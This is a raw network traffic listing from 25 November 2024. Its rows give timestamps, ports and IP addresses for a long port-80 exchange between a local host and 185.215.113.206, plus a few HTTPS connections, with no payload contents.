Nov 25, 2024 07:53:50.154804945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.155486107 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.155529976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.155574083 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.155622005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.156254053 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.156301022 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.156459093 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.156505108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.157082081 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.157130003 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.157138109 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.157185078 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.157912970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.157991886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.158037901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.158718109 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.158766985 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.158830881 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.158878088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.159559011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.159605980 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.159687996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.159739971 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.160382986 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.160414934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.160437107 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.160458088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.179738045 CET	49898	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:50.179833889 CET	49899	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:50.224072933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.224148035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.224208117 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.224255085 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.224466085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.224518061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.224630117 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.224682093 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.225318909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.225394011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.225423098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.225444078 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.225965977 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.226001024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.226016045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.226069927 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.226768017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.226824045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.226870060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.226953030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.227526903 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.227583885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.227648020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.227765083 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.228348970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.228430986 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.228502035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.229238033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.229274035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.229299068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.229307890 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.230017900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.230070114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.230135918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.230226994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.230772018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.230827093 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.230890989 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.230938911 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.231592894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.231642962 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.231725931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.231780052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.232424021 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.232479095 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.232543945 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.232624054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.233228922 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.233282089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.233364105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.233463049 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.234026909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.234147072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.234170914 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.234240055 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.234885931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.234920979 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.234970093 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.235685110 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.235738039 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.235819101 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.235869884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.236470938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.236527920 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.236588001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.236643076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.237284899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.237334967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.237396002 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.237447977 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.238111019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.238166094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.238166094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.238219023 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.238920927 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.238976955 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.239042044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.239124060 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.239725113 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.239778996 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.239844084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.239989042 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.240577936 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.240628004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.240643978 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.240683079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.241344929 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.241403103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.241477966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.241523981 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.242167950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.242214918 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.242222071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.242280006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.242996931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.243098021 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.243144989 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.243901968 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.243936062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.243947983 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.243978977 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.244647980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.244749069 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.244771004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.244843006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.245402098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.245529890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.245563030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.245574951 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.246210098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.246320963 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.246386051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.247040987 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.247091055 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.247173071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.247227907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.247860909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.247915030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.247977972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.248028994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.248678923 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.248737097 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.248744965 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.248797894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.249550104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.249586105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.249608040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.249629021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.289450884 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.289465904 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.289479971 CET	49891	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.289484978 CET	443	49891	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.295746088 CET	49904	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.295790911 CET	443	49904	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.295849085 CET	49904	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.296163082 CET	49904	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:50.296175957 CET	443	49904	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:50.301115036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.301188946 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.301291943 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.301347971 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.301438093 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.301589012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.301629066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.301707029 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.302233934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.302285910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.302370071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.302423000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.303138018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.303174019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.303232908 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.303865910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.303920984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.303986073 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.304061890 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.304673910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.304743052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.304773092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.304821014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.305476904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.305533886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.305596113 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.305905104 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.308049917 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.308098078 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.308165073 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.308197975 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.308222055 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.308342934 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.308625937 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.308640003 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.308718920 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:50.308738947 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:50.329765081 CET	49907	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:50.329778910 CET	443	49907	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:50.329843044 CET	49907	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:50.330046892 CET	49907	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:50.330056906 CET	443	49907	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:50.348972082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.349062920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.349066973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.349136114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.349354982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.349411011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.349436998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.349528074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.350208998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.350258112 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.350277901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.350318909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.351006031 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.351026058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.351051092 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.351067066 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.351830006 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.351850986 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.351876974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.351891994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.352637053 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.352669954 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.352734089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.353442907 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.353487968 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.353548050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.354290009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.354316950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.354368925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.355062962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.355103970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.355135918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.355228901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.355871916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.355892897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.355942011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.355942011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.356692076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.356741905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.356753111 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.356791019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.357512951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.357561111 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.357610941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.357656002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.358328104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.358386040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.358392954 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.358438015 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.359119892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.359141111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.359165907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.359177113 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.359951973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.359993935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.360033035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.360080957 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.360785007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.360831976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.360867023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.361198902 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.361569881 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.361613989 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.361624002 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.361668110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.410003901 CET	443	49900	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.410336971 CET	49900	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:50.410367012 CET	443	49900	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.410732985 CET	443	49900	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.411171913 CET	49900	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:50.411245108 CET	443	49900	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:50.425569057 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.425606966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.425671101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.425966978 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.426033020 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.426112890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.426172018 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.426278114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.426337004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.426899910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.427031994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.427056074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.427097082 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.427958965 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.428014994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.428030968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.428071976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.428556919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.428632975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.428700924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.428950071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.429363012 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.429433107 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.429496050 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.429728985 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.430160046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.430216074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.430298090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.430346012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.431032896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.431086063 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.431109905 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.431132078 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.431808949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.431868076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.431879997 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.431937933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.432590008 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.432684898 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.432863951 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.433402061 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.433463097 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.433485985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.433676004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.434206963 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.434264898 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.434281111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.434423923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.435005903 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.435126066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.435187101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.435837984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.435894012 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.435981035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.436120033 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.436666965 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.436681032 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.436719894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:50.437488079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:50.437553883 CET	49825	80	192.168.2.6	185.215.113.206
